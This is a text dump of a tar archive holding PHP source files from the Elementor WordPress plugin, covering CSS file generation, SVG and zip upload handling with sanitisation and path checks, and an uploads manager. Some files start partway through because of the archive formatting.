* The dynamic portion of the hook name, `$name`, refers to the CSS file name. * * @since 2.0.0 * * @param Base $this The current CSS file. */ do_action( "elementor/css-file/{$name}/parse", $this ); Plugin::$instance->breakpoints->set_responsive_control_duplication_mode( $initial_responsive_controls_duplication_mode ); Performance::set_use_style_controls( false ); return $this->get_stylesheet()->__toString(); } /** * Add control style rules. * * Register new style rules for the control. * * @since 1.6.0 * @access private * * @param array $control The control. * @param array $values Values array. * @param array $controls The controls stack. * @param array $placeholders Placeholders. * @param array $replacements Replacements. */ protected function add_control_style_rules( array $control, array $values, array $controls, array $placeholders, array $replacements ) { $this->add_control_rules( $control, $controls, function( $control ) use ( $values ) { return $this->get_style_control_value( $control, $values ); }, $placeholders, $replacements, $values ); } /** * Get Control Global Default Value * * If the control has a global default value, and the corresponding global default setting is enabled, this method * fetches and returns the global default value. Otherwise, it returns null. * * @since 3.7.0 * @access private * * @param $control * @return string|null */ private function get_control_global_default_value( $control ) { if ( empty( $control['global']['default'] ) ) { return null; } // If the control value is empty, and the control has a global default set, fetch the global value and use it. $global_enabled = false; if ( 'color' === $control['type'] ) { $global_enabled = Plugin::$instance->kits_manager->is_custom_colors_enabled(); } elseif ( isset( $control['groupType'] ) && 'typography' === $control['groupType'] ) { $global_enabled = Plugin::$instance->kits_manager->is_custom_typography_enabled(); } $value = null; // Only apply the global default if Global Colors are enabled. if ( $global_enabled ) { $value = $this->get_selector_global_value( $control, $control['global']['default'] ); } return $value; } /** * Get style control value. * * Retrieve the value of the style control for any give control and values. * * It will retrieve the control name and return the style value. * * @since 1.6.0 * @access private * * @param array $control The control. * @param array $values Values array. * * @return mixed Style control value. */ private function get_style_control_value( array $control, array $values ) { if ( ! empty( $values['__globals__'][ $control['name'] ] ) ) { // When the control itself has no global value, but it refers to another control global value return $this->get_selector_global_value( $control, $values['__globals__'][ $control['name'] ] ); } $value = $values[ $control['name'] ]; if ( isset( $control['selectors_dictionary'][ $value ] ) ) { $value = $control['selectors_dictionary'][ $value ]; } if ( ! is_numeric( $value ) && ! is_float( $value ) && empty( $value ) ) { return null; } return $value; } /** * Init stylesheet. * * Initialize CSS file stylesheet by creating a new `Stylesheet` object and register new * breakpoints for the stylesheet. * * @since 1.2.0 * @access private */ private function init_stylesheet() { $this->stylesheet_obj = new Stylesheet(); $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); foreach ( $active_breakpoints as $breakpoint_name => $breakpoint ) { $this->stylesheet_obj->add_device( $breakpoint_name, $breakpoint->get_value() ); } } /** * Add repeater control style rules. * * Register new style rules for the repeater control. * * @since 2.0.0 * @access private * * @param Controls_Stack $controls_stack The control stack. * @param array $repeater_control The repeater control. * @param array $repeater_values Repeater values array. * @param array $placeholders Placeholders. * @param array $replacements Replacements. */ protected function add_repeater_control_style_rules( Controls_Stack $controls_stack, array $repeater_control, array $repeater_values, array $placeholders, array $replacements ) { $placeholders = array_merge( $placeholders, [ '{{CURRENT_ITEM}}' ] ); foreach ( $repeater_control['style_fields'] as $index => $item ) { $this->add_controls_stack_style_rules( $controls_stack, $item, $repeater_values[ $index ], $placeholders, array_merge( $replacements, [ '.elementor-repeater-item-' . $repeater_values[ $index ]['_id'] ] ), $repeater_control['fields'] ); } } /** * Add dynamic control style rules. * * Register new style rules for the dynamic control. * * @since 2.0.0 * @access private * * @param array $control The control. * @param string $value The value. */ protected function add_dynamic_control_style_rules( array $control, $value ) { Plugin::$instance->dynamic_tags->parse_tags_text( $value, $control, function( $id, $name, $settings ) { $tag = Plugin::$instance->dynamic_tags->create_tag( $id, $name, $settings ); if ( ! $tag instanceof Tag ) { return; } $this->add_controls_stack_style_rules( $tag, $this->get_style_controls( $tag ), $tag->get_active_settings(), [ '{{WRAPPER}}' ], [ '#elementor-tag-' . $id ] ); } ); } private function get_selector_global_value( $control, $global_key ) { $data = Plugin::$instance->data_manager_v2->run( $global_key ); if ( empty( $data['value'] ) ) { return null; } $global_args = explode( '?id=', $global_key ); $id = $global_args[1]; if ( ! empty( $control['groupType'] ) ) { $strings_to_replace = [ $control['groupPrefix'] ]; $active_breakpoint_keys = array_keys( Plugin::$instance->breakpoints->get_active_breakpoints() ); foreach ( $active_breakpoint_keys as $breakpoint ) { $strings_to_replace[] = '_' . $breakpoint; } $property_name = str_replace( $strings_to_replace, '', $control['name'] ); // TODO: This check won't retrieve the proper answer for array values (multiple controls). if ( empty( $data['value'][ Global_Typography::TYPOGRAPHY_GROUP_PREFIX . $property_name ] ) ) { return null; } $property_name = str_replace( '_', '-', $property_name ); $value = "var( --e-global-$control[groupType]-$id-$property_name )"; if ( $control['groupPrefix'] . 'font_family' === $control['name'] ) { $default_generic_fonts = Plugin::$instance->kits_manager->get_current_settings( 'default_generic_fonts' ); if ( $default_generic_fonts ) { $value .= ", $default_generic_fonts"; } } } else { $value = "var( --e-global-$control[type]-$id )"; } return $value; } final protected function get_active_controls( Controls_Stack $controls_stack, array $controls = null, array $settings = null ) { if ( ! $controls ) { $controls = $controls_stack->get_controls(); } if ( ! $settings ) { $settings = $controls_stack->get_controls_settings(); } if ( $this->is_global_parsing_supported() ) { $settings = $this->parse_global_settings( $settings, $controls ); } $active_controls = array_reduce( array_keys( $controls ), function( $active_controls, $control_key ) use ( $controls_stack, $controls, $settings ) { $control = $controls[ $control_key ]; if ( $controls_stack->is_control_visible( $control, $settings, $controls ) ) { $active_controls[ $control_key ] = $control; } return $active_controls; }, [] ); return $active_controls; } final public function get_style_controls( Controls_Stack $controls_stack, array $controls = null, array $settings = null ) { $controls = $this->get_active_controls( $controls_stack, $controls, $settings ); $style_controls = []; foreach ( $controls as $control_name => $control ) { $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); if ( ! $control_obj instanceof Base_Data_Control ) { continue; } $control = array_merge( $control_obj->get_settings(), $control ); if ( $control_obj instanceof Control_Repeater ) { $style_fields = []; foreach ( $controls_stack->get_settings( $control_name ) as $item ) { $style_fields[] = $this->get_style_controls( $controls_stack, $control['fields'], $item ); } $control['style_fields'] = $style_fields; } if ( ! empty( $control['selectors'] ) || ! empty( $control['dynamic'] ) || $this->is_global_control( $controls_stack, $control_name, $controls ) || ! empty( $control['style_fields'] ) ) { $style_controls[ $control_name ] = $control; } } return $style_controls; } private function parse_global_settings( array $settings, array $controls ) { foreach ( $controls as $control ) { $control_name = $control['name']; $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); if ( ! $control_obj instanceof Base_Data_Control ) { continue; } if ( $control_obj instanceof Control_Repeater ) { foreach ( $settings[ $control_name ] as & $field ) { $field = $this->parse_global_settings( $field, $control['fields'] ); } continue; } if ( empty( $control['global']['active'] ) ) { continue; } if ( empty( $settings['__globals__'][ $control_name ] ) ) { continue; } $settings[ $control_name ] = 'global'; } return $settings; } private function is_global_control( Controls_Stack $controls_stack, $control_name, $controls ) { $control = $controls[ $control_name ]; $control_global_key = $control_name; if ( ! empty( $control['groupType'] ) ) { $control_global_key = $control['groupPrefix'] . $control['groupType']; } if ( empty( $controls[ $control_global_key ]['global']['active'] ) ) { return false; } $globals = $controls_stack->get_settings( '__globals__' ); return ! empty( $globals[ $control_global_key ] ); } } core/files/css/post-local-cache.php000064400000001366147206604650013235 0ustar00meta_cache; } protected function delete_meta() { $this->meta_cache = []; } protected function update_meta( $meta ) { $this->meta_cache = $meta; } protected function get_data() { $document = Plugin::$instance->documents->get( $this->get_post_id_for_data() ); return $document ? $document->get_elements_data() : []; } } core/files/css/post.php000064400000017050147206604650011101 0ustar00post_id = $post_id; parent::__construct( static::FILE_PREFIX . $post_id . '.css' ); } /** * Get CSS file name. * * Retrieve the CSS file name. * * @since 1.6.0 * @access public * * @return string CSS file name. */ public function get_name() { return 'post'; } /** * Get post ID. * * Retrieve the ID of current post. * * @since 1.2.0 * @access public * * @return int Post ID. */ public function get_post_id() { return $this->post_id; } /** * Get unique element selector. * * Retrieve the unique selector for any given element. * * @since 1.2.0 * @access public * * @param Element_Base $element The element. * * @return string Unique element selector. */ public function get_element_unique_selector( Element_Base $element ) { return '.elementor-' . $this->post_id . ' .elementor-element' . $element->get_unique_selector(); } /** * Load meta data. * * Retrieve the post CSS file meta data. * * @since 1.2.0 * @access protected * * @return array Post CSS file meta data. */ protected function load_meta() { return get_post_meta( $this->post_id, static::META_KEY, true ); } /** * Update meta data. * * Update the global CSS file meta data. * * @since 1.2.0 * @access protected * * @param array $meta New meta data. */ protected function update_meta( $meta ) { update_post_meta( $this->post_id, static::META_KEY, $meta ); } /** * Delete meta. * * Delete the file meta data. * * @since 2.1.0 * @access protected */ protected function delete_meta() { delete_post_meta( $this->post_id, static::META_KEY ); } public function write() { parent::write(); if ( ! empty( $this->additional_style_dependencies ) ) { $meta = $this->get_meta(); $meta['additional_style_dependencies'] = $this->additional_style_dependencies; $this->update_meta( $meta ); } } /** * Get post data. * * Retrieve raw post data from the database. * * @since 1.9.0 * @access protected * * @return array Post data. */ protected function get_data() { $document = Plugin::$instance->documents->get( $this->post_id ); return $document ? $document->get_elements_data() : []; } /** * Render CSS. * * Parse the CSS for all the elements. * * @since 1.2.0 * @access protected */ protected function render_css() { $data = $this->get_data(); if ( ! empty( $data ) ) { foreach ( $data as $element_data ) { $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); if ( ! $element ) { continue; } $this->render_styles( $element ); } } } /** * Enqueue CSS. * * Enqueue the post CSS file in Elementor. * * This method ensures that the post was actually built with elementor before * enqueueing the post CSS file. * * @since 1.2.2 * @access public */ public function enqueue() { $document = Plugin::$instance->documents->get( $this->post_id ); if ( ! $document || ! $document->is_built_with_elementor() ) { return; } parent::enqueue(); } /** * Add controls-stack style rules. * * Parse the CSS for all the elements inside any given controls stack. * * This method recursively renders the CSS for all the child elements in the stack. * * @since 1.6.0 * @access public * * @param Controls_Stack $controls_stack The controls stack. * @param array $controls Controls array. * @param array $values Values array. * @param array $placeholders Placeholders. * @param array $replacements Replacements. * @param array $all_controls All controls. */ public function add_controls_stack_style_rules( Controls_Stack $controls_stack, array $controls, array $values, array $placeholders, array $replacements, array $all_controls = null ) { parent::add_controls_stack_style_rules( $controls_stack, $controls, $values, $placeholders, $replacements, $all_controls ); if ( $controls_stack instanceof Element_Base ) { foreach ( $controls_stack->get_children() as $child_element ) { $this->render_styles( $child_element ); } } } /** * Get enqueue dependencies. * * Retrieve the name of the stylesheet used by `wp_enqueue_style()`. * * @since 1.2.0 * @access protected * * @return array Name of the stylesheet. */ protected function get_enqueue_dependencies() { $enqueue_dependencies = [ 'elementor-frontend' ]; $additional_style_dependencies = $this->get_meta( 'additional_style_dependencies' ); if ( ! empty( $additional_style_dependencies ) ) { $enqueue_dependencies = array_merge( $enqueue_dependencies, $additional_style_dependencies ); } return $enqueue_dependencies; } /** * Get inline dependency. * * Retrieve the name of the stylesheet used by `wp_add_inline_style()`. * * @since 1.2.0 * @access protected * * @return string Name of the stylesheet. */ protected function get_inline_dependency() { return 'elementor-frontend'; } /** * Get file handle ID. * * Retrieve the handle ID for the post CSS file. * * @since 1.2.0 * @access protected * * @return string CSS file handle ID. */ protected function get_file_handle_id() { return 'elementor-post-' . $this->post_id; } /** * Render styles. * * Parse the CSS for any given element. * * @since 1.2.0 * @access protected * * @param Element_Base $element The element. */ protected function render_styles( Element_Base $element ) { /** * Before element parse CSS. * * Fires before the CSS of the element is parsed. * * @since 1.2.0 * * @param Post $this The post CSS file. * @param Element_Base $element The element. */ do_action( 'elementor/element/before_parse_css', $this, $element ); $element_settings = $element->get_settings(); $this->add_controls_stack_style_rules( $element, $this->get_style_controls( $element, null, $element->get_parsed_dynamic_settings() ), $element_settings, [ '{{ID}}', '{{WRAPPER}}' ], [ $element->get_id(), $this->get_element_unique_selector( $element ) ] ); $element_style_depend = $element->get_style_depends(); if ( ! empty( $element_style_depend ) ) { $this->additional_style_dependencies = array_unique( array_merge( $this->additional_style_dependencies, $element_style_depend ) ); } /** * After element parse CSS. * * Fires after the CSS of the element is parsed. * * @since 1.2.0 * * @param Post $this The post CSS file. * @param Element_Base $element The element. */ do_action( 'elementor/element/parse_css', $this, $element ); } } core/files/file-types/svg.php000064400000013230147206604650012200 0ustar00sanitize_file( $filename ); } /** * Validate File * * @since 3.3.0 * @access public * * @param $file * @return bool|\WP_Error */ public function validate_file( $file ) { if ( ! $this->sanitize_svg( $file['tmp_name'] ) ) { return new \WP_Error( Exceptions::FORBIDDEN, esc_html__( 'This file is not allowed for security reasons.', 'elementor' ) ); } return true; } /** * Sanitizer * * @since 3.5.0 * @access public * * @param $content * @return bool|string */ public function sanitizer( $content ) { return ( new SVG_Sanitizer() )->sanitize( $content ); } /** * WP Prepare Attachment For J * * Runs on the `wp_prepare_attachment_for_js` filter. * * @since 3.5.0 * @access public * * @param $attachment_data * @param $attachment * @param $meta * * @return mixed */ public function wp_prepare_attachment_for_js( $attachment_data, $attachment, $meta ) { if ( 'image' !== $attachment_data['type'] || 'svg+xml' !== $attachment_data['subtype'] || ! class_exists( 'SimpleXMLElement' ) ) { return $attachment_data; } $svg = self::get_inline_svg( $attachment->ID ); if ( ! $svg ) { return $attachment_data; } try { $svg = new \SimpleXMLElement( $svg ); } catch ( \Exception $e ) { return $attachment_data; } $src = $attachment_data['url']; $width = (int) $svg['width']; $height = (int) $svg['height']; // Media Gallery $attachment_data['image'] = compact( 'src', 'width', 'height' ); $attachment_data['thumb'] = compact( 'src', 'width', 'height' ); // Single Details of Image $attachment_data['sizes']['full'] = [ 'height' => $height, 'width' => $width, 'url' => $src, 'orientation' => $height > $width ? 'portrait' : 'landscape', ]; return $attachment_data; } /** * Set Svg Meta Data * * Adds dimensions metadata to uploaded SVG files, since WordPress doesn't do it. * * @since 3.5.0 * @access public * * @return mixed */ public function set_svg_meta_data( $data, $id ) { $attachment = get_post( $id ); // Filter makes sure that the post is an attachment. $mime_type = $attachment->post_mime_type; // If the attachment is an svg if ( 'image/svg+xml' === $mime_type ) { // If the svg metadata are empty or the width is empty or the height is empty. // then get the attributes from xml. if ( empty( $data ) || empty( $data['width'] ) || empty( $data['height'] ) ) { $attachment = wp_get_attachment_url( $id ); $xml = simplexml_load_file( $attachment ); if ( ! empty( $xml ) ) { $attr = $xml->attributes(); $view_box = explode( ' ', $attr->viewBox );// phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $data['width'] = isset( $attr->width ) && preg_match( '/\d+/', $attr->width, $value ) ? (int) $value[0] : ( 4 === count( $view_box ) ? (int) $view_box[2] : null ); $data['height'] = isset( $attr->height ) && preg_match( '/\d+/', $attr->height, $value ) ? (int) $value[0] : ( 4 === count( $view_box ) ? (int) $view_box[3] : null ); } } } return $data; } /** * Delete Meta Cache * * Deletes the Inline SVG post meta entry. * * @since 3.5.0 * @access public */ public function delete_meta_cache() { delete_post_meta_by_key( self::META_KEY ); } /** * File Sanitizer Can Run * * Checks if the classes required for the file sanitizer are in memory. * * @since 3.5.0 * @access public * @static * * @return bool */ public static function file_sanitizer_can_run() { return class_exists( 'DOMDocument' ) && class_exists( 'SimpleXMLElement' ); } /** * Get Inline SVG * * @since 3.5.0 * @access public * @static * * @param $attachment_id * @return bool|mixed|string */ public static function get_inline_svg( $attachment_id ) { $svg = get_post_meta( $attachment_id, self::META_KEY, true ); if ( ! empty( $svg ) ) { $valid_svg = ( new SVG_Sanitizer() )->sanitize( $svg ); return ( false === $valid_svg ) ? '' : $valid_svg; } $attachment_file = get_attached_file( $attachment_id ); if ( ! file_exists( $attachment_file ) ) { return ''; } $svg = Utils::file_get_contents( $attachment_file ); $valid_svg = ( new SVG_Sanitizer() )->sanitize( $svg ); if ( false === $valid_svg ) { return ''; } if ( ! empty( $valid_svg ) ) { update_post_meta( $attachment_id, self::META_KEY, $valid_svg ); } return $valid_svg; } public function __construct() { add_filter( 'wp_update_attachment_metadata', [ $this, 'set_svg_meta_data' ], 10, 2 ); add_filter( 'wp_prepare_attachment_for_js', [ $this, 'wp_prepare_attachment_for_js' ], 10, 3 ); add_action( 'elementor/core/files/clear_cache', [ $this, 'delete_meta_cache' ] ); } } core/files/file-types/base.php000064400000002503147206604650012314 0ustar00uploads_manager->create_unique_dir(); } $zip->open( $file_path ); // if an array of allowed file types is provided, get the filtered file list to extract. $allowed_files = $allowed_file_types ? $this->get_allowed_files( $zip, $allowed_file_types ) : null; $zip->extractTo( $extraction_directory, $allowed_files ); $zip->close(); return [ 'extraction_directory' => $extraction_directory, 'files' => $this->find_temp_files( $extraction_directory ), ]; } /** * Get Allowed Files * * Accepts a zipArchive instance and an array of allowed file types. Iterates over the zip archive's files and * checks if their extensions are in the list of allowed file types. Returns an array containing all valid files. * * @since 3.3.0 * * @param \ZipArchive $zip * @param array $allowed_file_types * @return array */ private function get_allowed_files( $zip, $allowed_file_types ) { $allowed_files = []; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase for ( $i = 0; $i < $zip->numFiles; $i++ ) { $filename = $zip->getNameIndex( $i ); $extension = pathinfo( $filename, PATHINFO_EXTENSION ); // Skip files with transversal paths. if ( strpos( $filename, '..' ) !== false ) { continue; } if ( in_array( $extension, $allowed_file_types, true ) ) { $allowed_files[] = $filename; } } return $allowed_files; } /** * Find temporary files. * * Recursively finds a list of temporary files from the extracted zip file. * * Example return data: * * [ * 0 => '/www/wp-content/uploads/elementor/tmp/5eb3a7a411d44/templates/block-2-col-marble-title.json', * 1 => '/www/wp-content/uploads/elementor/tmp/5eb3a7a411d44/templates/block-2-col-text-and-photo.json', * ] * * @since 2.9.8 * @access private * * @param string $temp_path - The temporary file path to scan for template files * * @return array An array of temporary files on the filesystem */ private function find_temp_files( $temp_path ) { $file_names = []; $possible_file_names = array_diff( scandir( $temp_path ), [ '.', '..' ] ); // Find nested files in the unzipped path. This happens for example when the user imports a Website Kit. foreach ( $possible_file_names as $possible_file_name ) { $full_possible_file_name = $temp_path . $possible_file_name; if ( is_dir( $full_possible_file_name ) ) { $file_names = array_merge( $file_names, $this->find_temp_files( $full_possible_file_name . '/' ) ); } else { $file_names[] = $full_possible_file_name; } } return $file_names; } } core/files/base.php000064400000013135147206604650010236 0ustar00files_manager->get( get_called_class(), func_get_args() ); } /** * @since 2.1.0 * @access public */ public function __construct( $file_name ) { /** * Elementor File Name * * Filters the File name * * @since 2.3.0 * * @param string $file_name * @param object $this The file instance, which inherits Elementor\Core\Files */ $file_name = apply_filters( 'elementor/files/file_name', $file_name, $this ); $this->set_file_name( $file_name ); $this->set_files_dir( static::DEFAULT_FILES_DIR ); $this->set_path(); } /** * @since 2.1.0 * @access public */ public function set_files_dir( $files_dir ) { $this->files_dir = $files_dir; } /** * @since 2.1.0 * @access public */ public function set_file_name( $file_name ) { $this->file_name = $file_name; } /** * @since 2.1.0 * @access public */ public function get_file_name() { return $this->file_name; } /** * @since 2.1.0 * @access public */ public function get_url() { $url = set_url_scheme( self::get_base_uploads_url() . $this->files_dir . $this->file_name ); return add_query_arg( [ 'ver' => $this->get_meta( 'time' ) ], $url ); } /** * Get Path * * Returns the local path of the generated file. * * @since 3.5.0 * @access public * * @return string */ public function get_path() { return set_url_scheme( self::get_base_uploads_dir() . $this->files_dir . $this->file_name ); } /** * @since 2.1.0 * @access public */ public function get_content() { if ( ! $this->content ) { $this->content = $this->parse_content(); } return $this->content; } /** * @since 2.1.0 * @access public */ public function update() { $this->update_file(); $meta = $this->get_meta(); $meta['time'] = time(); $this->update_meta( $meta ); } /** * @since 2.1.0 * @access public */ public function update_file() { $this->content = $this->parse_content(); if ( $this->content ) { $this->write(); } else { $this->delete(); } } /** * @since 2.1.0 * @access public */ public function write() { return file_put_contents( $this->path, $this->content ); } /** * @since 2.1.0 * @access public */ public function delete() { if ( file_exists( $this->path ) ) { unlink( $this->path ); } $this->delete_meta(); } /** * Get meta data. * * Retrieve the CSS file meta data. Returns an array of all the data, or if * custom property is given it will return the property value, or `null` if * the property does not exist. * * @since 2.1.0 * @access public * * @param string $property Optional. Custom meta data property. Default is * null. * * @return array|null An array of all the data, or if custom property is * given it will return the property value, or `null` if * the property does not exist. */ public function get_meta( $property = null ) { $meta = array_merge( $this->get_default_meta(), (array) $this->load_meta() ); if ( $property ) { return isset( $meta[ $property ] ) ? $meta[ $property ] : null; } return $meta; } /** * @since 2.1.0 * @access protected * @abstract */ abstract protected function parse_content(); /** * Load meta. * * Retrieve the file meta data. * * @since 2.1.0 * @access protected */ protected function load_meta() { return get_option( static::META_KEY ); } /** * Update meta. * * Update the file meta data. * * @since 2.1.0 * @access protected * * @param array $meta New meta data. */ protected function update_meta( $meta ) { update_option( static::META_KEY, $meta ); } /** * Delete meta. * * Delete the file meta data. * * @since 2.1.0 * @access protected */ protected function delete_meta() { delete_option( static::META_KEY ); } /** * @since 2.1.0 * @access protected */ protected function get_default_meta() { return [ 'time' => 0, ]; } /** * @since 2.1.0 * @access private * @static */ private static function get_wp_uploads_dir() { global $blog_id; if ( empty( self::$wp_uploads_dir[ $blog_id ] ) ) { self::$wp_uploads_dir[ $blog_id ] = wp_upload_dir( null, false ); } return self::$wp_uploads_dir[ $blog_id ]; } /** * @since 2.1.0 * @access private */ private function set_path() { $dir_path = self::get_base_uploads_dir() . $this->files_dir; if ( ! is_dir( $dir_path ) ) { wp_mkdir_p( $dir_path ); } $this->path = $dir_path . $this->file_name; } } core/files/uploads-manager.php000064400000044242147206604650012406 0ustar00 new Json(), 'zip' => new Zip(), 'svg' => new Svg(), ]; foreach ( $file_types as $file_type => $file_handler ) { $this->file_type_handlers[ $file_type ] = $file_handler; } } /** * Extract and Validate Zip * * This method accepts a $file array (which minimally should include a 'tmp_name') * * @since 3.3.0 * @access public * * @param string $file_path * @param array $allowed_file_types * @return array|\WP_Error */ public function extract_and_validate_zip( $file_path, $allowed_file_types = null ) { $result = []; /** @var Zip $zip_handler - File Type */ $zip_handler = $this->file_type_handlers['zip']; // Returns an array of file paths. $extracted = $zip_handler->extract( $file_path, $allowed_file_types ); if ( is_wp_error( $extracted ) ) { return $extracted; } // If there are no extracted file names, no files passed the extraction validation. if ( empty( $extracted['files'] ) ) { // TODO: Decide what to do if no files passed the extraction validation return new \WP_Error( 'file_error', self::INVALID_FILE_CONTENT ); } $result['extraction_directory'] = $extracted['extraction_directory']; foreach ( $extracted['files'] as $extracted_file_path ) { // Each file is an array with a 'name' (file path) property. if ( ! is_wp_error( $this->validate_file( [ 'tmp_name' => $extracted_file_path ] ) ) ) { $result['files'][] = $extracted_file_path; } } return $result; } /** * Handle Elementor Upload * * This method receives a $file array. If the received file is a Base64 string, the $file array should include a * 'fileData' property containing the string, which is decoded and has its contents stored in a temporary file. * If the $file parameter passed is a standard $file array, the 'name' and 'tmp_name' properties are used for * validation. * * The file goes through validation; if it passes validation, the file is returned. Otherwise, an error is returned. * * @since 3.3.0 * @access public * * @param array $data * @param array $allowed_file_extensions Optional. an array of file types that are allowed to pass validation for each * upload. * @return array|\WP_Error */ public function handle_elementor_upload( array $data, $allowed_file_extensions = null ) { // If $file['fileData'] is set, it signals that the passed file is a Base64 string that needs to be decoded and // saved to a temporary file. if ( isset( $data['fileData'] ) ) { $data = $this->save_base64_to_tmp_file( $data, $allowed_file_extensions ); } if ( is_wp_error( $data ) ) { return $data; } $validation_result = $this->validate_file( $data, $allowed_file_extensions ); if ( is_wp_error( $validation_result ) ) { return $validation_result; } return $data; } /** * are Unfiltered Uploads Enabled * * @since 3.5.0 * @access public * * @return bool */ final public static function are_unfiltered_uploads_enabled() { $enabled = ! ! get_option( self::UNFILTERED_FILE_UPLOADS_KEY ) && Svg::file_sanitizer_can_run() && User::is_current_user_can_upload_json(); /** * Allow Unfiltered Files Upload. * * Determines whether to enable unfiltered file uploads. * * @since 3.0.0 * * @param bool $enabled Whether upload is enabled or not. */ $enabled = apply_filters( 'elementor/files/allow_unfiltered_upload', $enabled ); return $enabled; } /** * Handle Elementor WP Media Upload * * Runs on the 'wp_handle_upload_prefilter' filter. * * @since 3.2.0 * @access public * * @param $file * @return mixed */ public function handle_elementor_wp_media_upload( $file ) { // If it isn't a file uploaded by Elementor, we do not intervene. if ( ! $this->is_elementor_wp_media_upload() ) { return $file; } $result = $this->validate_file( $file ); if ( is_wp_error( $result ) ) { $file['error'] = $result->get_error_message(); } return $file; } /** * Get File Type Handler * * Initialize the proper file type handler according to the file extension * and assign it to the file type handlers array. * * @since 3.3.0 * @access public * * @param string|null $file_extension - file extension * @return File_Type_Base[]|File_Type_Base */ public function get_file_type_handlers( $file_extension = null ) { return self::get_items( $this->file_type_handlers, $file_extension ); } /** * Check filetype and ext * * A workaround for upload validation which relies on a PHP extension (fileinfo) * with inconsistent reporting behaviour. * ref: https://core.trac.wordpress.org/ticket/39550 * ref: https://core.trac.wordpress.org/ticket/40175 * * @since 3.5.0 * @access public * * @param $data * @param $file * @param $filename * @param $mimes * * @return mixed */ public function check_filetype_and_ext( $data, $file, $filename, $mimes ) { if ( ! empty( $data['ext'] ) && ! empty( $data['type'] ) ) { return $data; } $wp_file_type = wp_check_filetype( $filename, $mimes ); $file_type_handlers = $this->get_file_type_handlers(); if ( isset( $file_type_handlers[ $wp_file_type['ext'] ] ) ) { $file_type_handler = $file_type_handlers[ $wp_file_type['ext'] ]; $data['ext'] = $file_type_handler->get_file_extension(); $data['type'] = $file_type_handler->get_mime_type(); } return $data; } /** * Remove File Or Directory * * Directory is deleted recursively with all of its contents (subdirectories and files). * * @since 3.3.0 * @access public * * @param string $path */ public function remove_file_or_dir( $path ) { if ( is_dir( $path ) ) { $this->remove_directory_with_files( $path ); } elseif ( is_file( $path ) ) { unlink( $path ); } } /** * Create Temp File * * Create a random temporary file. * * @since 3.3.0 * @access public * * @param string $file_content * @param string $file_name * @return string|\WP_Error */ public function create_temp_file( $file_content, $file_name ) { $file_name = str_replace( ' ', '', sanitize_file_name( $file_name ) ); if ( empty( $file_name ) ) { return new \WP_Error( 'invalid_file_name', esc_html__( 'Invalid file name.', 'elementor' ) ); } $temp_filename = $this->create_unique_dir() . $file_name; /** * Temp File Path * * Allows modifying the full path of the temporary file. * * @since 3.7.0 * * @param string full path to file */ $temp_filename = apply_filters( 'elementor/files/temp-file-path', $temp_filename ); file_put_contents( $temp_filename, $file_content ); // phpcs:ignore return $temp_filename; } /** * Get Temp Directory * * Get the temporary files directory path. If the directory does not exist, this method creates it. * * @since 3.3.0 * @access public * * @return string $temp_dir */ public function get_temp_dir() { if ( ! $this->temp_dir ) { $wp_upload_dir = wp_upload_dir(); $temp_dir = implode( DIRECTORY_SEPARATOR, [ $wp_upload_dir['basedir'], 'elementor', 'tmp' ] ) . DIRECTORY_SEPARATOR; /** * Temp File Path * * Allows modifying the full path of the temporary file. * * @since 3.7.0 * * @param string temporary directory */ $this->temp_dir = apply_filters( 'elementor/files/temp-dir', $temp_dir ); if ( ! is_dir( $this->temp_dir ) ) { wp_mkdir_p( $this->temp_dir ); } } return $this->temp_dir; } /** * Create Unique Temp Dir * * Create a unique temporary directory * * @since 3.3.0 * @access public * * @return string the new directory path */ public function create_unique_dir() { $unique_dir_path = $this->get_temp_dir() . uniqid() . DIRECTORY_SEPARATOR; wp_mkdir_p( $unique_dir_path ); return $unique_dir_path; } /** * Register Ajax Actions * * Runs on the 'elementor/ajax/register_actions' hook. Receives the AJAX module as a parameter and registers * callbacks for specified action IDs. * * @since 3.5.0 * @access public * * @param Ajax $ajax */ public function register_ajax_actions( Ajax $ajax ) { $ajax->register_ajax_action( 'enable_unfiltered_files_upload', [ $this, 'enable_unfiltered_files_upload' ] ); } /** * Set Unfiltered Files Upload * * @since 3.5.0 * @access public */ public function enable_unfiltered_files_upload() { if ( ! current_user_can( 'manage_options' ) ) { return; } update_option( self::UNFILTERED_FILE_UPLOADS_KEY, 1 ); } /** * Support Unfiltered File Uploads * * When uploading a file within Elementor, this method adds the registered * file types to WordPress' allowed mimes list. This will only happen if the user allowed unfiltered file uploads * in Elementor's settings in the admin dashboard. * * @since 3.5.0 * @access public * * @param array $allowed_mimes * @return array allowed mime types */ final public function support_unfiltered_elementor_file_uploads( $allowed_mimes ) { if ( $this->is_elementor_upload() && $this->are_unfiltered_uploads_enabled() ) { foreach ( $this->file_type_handlers as $file_type_handler ) { $allowed_mimes[ $file_type_handler->get_file_extension() ] = $file_type_handler->get_mime_type(); } } return $allowed_mimes; } /** * Set Elementor Upload State * * @since 3.5.0 * @access public * * @param $state */ public function set_elementor_upload_state( $state ) { $this->is_elementor_upload = $state; } /** * Is Elementor Upload * * This method checks if the current session includes a request to upload files made via Elementor. * * @since 3.5.0 * @access private * * @return bool */ private function is_elementor_upload() { return $this->is_elementor_upload || $this->is_elementor_media_upload() || $this->is_elementor_wp_media_upload(); } /** * Is Elementor Media Upload * * Checks whether the current request includes uploading files via Elementor which are not destined for the Media * Library. * * @since 3.5.0 * @access public * * @return bool */ public function is_elementor_media_upload() { // Sometimes `uploadTypeCaller` passed as a GET parameter when using the WP Media Library REST API, where the // whole request body is occupied by the uploaded file. return isset( $_REQUEST['uploadTypeCaller'] ) && 'elementor-media-upload' === $_REQUEST['uploadTypeCaller']; // phpcs:ignore } /** * Is Elementor WP Media Upload * * Checks whether the current request is a request to upload files into the WP Media Library via Elementor. * * @since 3.3.0 * @access private * * @return bool */ private function is_elementor_wp_media_upload() { return isset( $_REQUEST['uploadTypeCaller'] ) && 'elementor-wp-media-upload' === $_REQUEST['uploadTypeCaller']; // phpcs:ignore } /** * Add File Extension To Allowed Extensions List * * @since 3.3.0 * @access private * * @param string $file_type */ private function add_file_extension_to_allowed_extensions_list( $file_type ) { $file_handler = $this->file_type_handlers[ $file_type ]; $file_extension = $file_handler->get_file_extension(); // Only add the file extension to the list if it doesn't already exist in it. if ( ! in_array( $file_extension, $this->allowed_file_extensions, true ) ) { 